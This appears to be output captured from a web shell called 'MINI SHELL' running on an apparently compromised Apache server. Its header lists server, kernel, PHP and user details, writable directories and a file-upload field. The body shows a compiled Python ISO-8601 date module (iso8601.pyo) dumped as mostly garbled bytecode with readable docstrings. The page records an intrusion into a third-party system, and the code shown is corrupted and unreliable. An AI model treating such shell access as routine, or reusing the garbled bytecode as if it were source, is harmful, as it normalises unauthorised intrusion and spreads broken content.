MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/utils/iso8601.pyo
mò
Ż$?c@s´dZdZdkZd„Zd„Zdd„Zd„ZdkZdZd	Z	ei
e	ƒZd
e	ZdeefZ
ei
e
ƒZ[d„Zd
„Zd„Zd„ZdS(sžISO-8601 date format support, sufficient for the profile defined in
<http://www.w3.org/TR/NOTE-datetime>.

The parser is more flexible on the input format than is required to support
the W3C profile, but all accepted date/time values are legal ISO 8601 dates.
The tostring() method only generates formatted dates that are conformant to
the profile.

This module was written by Fred L. Drake, Jr. <fdrake@acm.org>.
s1.0NcCsyti|ƒ}|djp|iƒ|jotd|
‚nt|ƒt|ƒd}t
i|ƒt|ƒt
i
S(sWParse an ISO-8601 date/time string, returning the value in seconds
    since the epoch.s)unknown or illegal ISO-8601 date format: iN(iii(t
__datetime_rxtmatchtstmtNonetgroupt
ValueErrort__extract_datet__extract_timetgmtttimetmktimet
__extract_tzdttimezone(RRR	((t:/usr/lib/python2.4/site-packages/_xmlplus/utils/iso8601.pytparses cCsWti|ƒ}|ptd|
‚n|iƒ|jotd|
‚nt|ƒS(s[Parse an ISO-8601 time zone designator, returning the value in seconds
    relative to UTC.sunknown timezone specifier: N(t__tzd_rxRR
RRRR(R
R((Rtparse_timezonesic
Cs‚t|ƒtdƒjot|ƒ}n
t|ƒ}|o]|djodpd}t|ƒ}|dd}	|ddd}d||	|f}nd}|t|ƒ}tit|ƒ|ƒ}|d \}}}}	}}
|
p|oj|o>tt|d	ƒƒ}d
}||||	||
||f}qzd}||||	||
|f}nd}||||	||f}||S(sFormat a time in ISO-8601 format.

    If `timezone' is specified, the time will be specified for that timezone,
    otherwise for UTC.

    Some effort is made to avoid adding text for the 'seconds' field, but
    seconds are supported to the hundredths.
    tit+t-i<s%c%02d:%02dtZiids#%4d-%02d-%02dT%02d:%02d:%02d.%02d%ss%4d-%02d-%02dT%02d:%02d:%02d%ss%4d-%02d-%02dT%02d:%02d%sN(ttypeR
RtinttsigntabsthourstminutesttzspecifiertttpsecsR
tgmtimetyeartmonthtdaytsecondstroundtftv(
RR
RRR%RR R&RRR#R!R"((Rttostring&s0"cCst|tiƒS(s3Similar to time.ctime(), but using ISO-8601 format.N(R'RR
R
(R((RtctimeLssd(?P<year>\d\d\d\d)(?:(?P<dsep>-|)(?:(?P<julian>\d\d\d)|(?P<month>\d\d)(?:(?P=dsep)(?P<day>\d\d))?))?s;(?P<tzd>[-+](?P<tzdhours>\d\d)(?::?(?P<tzdminutes>\d\d))|Z)sW(?P<hours>\d\d)(?P<tsep>:|)(?P<minutes>\d\d)(?:(?P=tsep)(?P<seconds>\d\d(?:[.,]\d+)?))?s
%s(?:T%s)?cCs#t|idƒƒ}|idƒ}|ot|t|ƒƒSn|idƒ}d}|djo
d}nİt|ƒ}d|jo
djnpt	d|idƒ‚ne|idƒ}|oHt|ƒ}d|jo
djnpt	d	|idƒ‚qnd}|||fS(
NR tjulianR!iisillegal month number: R"isillegal day number: (
RRRR R)t
__find_julianR!R"RR(RR)R!R R"((RRes$

cCs;|pdSn|idƒ}|pdSnt|ƒ}d|jo
djnptd|idƒ‚nt|idƒƒ}d|jo
djnptd|idƒ‚n|idƒ}|oTt|ƒ}d|jo
d	jnptd
|idƒ‚nt|ƒ}nd}|||fS(
NiRisillegal hour number: Ri;sillegal minutes number: R#i<sillegal seconds number: (iii(iii(RRRRRRR#tfloat(RRR#R((RR}s&cCs³|pdSn|idƒ}|pdSn|djodSnt|idƒƒ}|idƒ}|ot|ƒ}nd}|d|d}|ddjo	|Sn|S(	sAReturn the Time Zone Designator as an offset in seconds from UTC.ittzdRttzdhourst
tzdminutesi<RN(RRR,RRRtoffset(RRR,R/R((RR•s"
	c
Cs|dd}|dd}d}xĠ||joÇti|||ddddddf	ƒ}ti	|ƒd}t
||ƒ}||jo/||jo||}qġ|d}d}q%||jo-||djo||}qġ|d}q%q%W|||fS(Niiiiŝ˙˙˙ii(R)R!R"RtjdayR
RR RRRtdiff(R R)R!R0RR1R"((RR*Şs$
*




(t__doc__t__version__R
RRR'R(tret	__date_ret__tzd_retcompileRt	__time_ret
__datetime_reRRRRR*(R6RRR(R9RRR4R5R'RR
R*R8R3RR((Rt?
s$		
	&		
			

Anon7 - 2021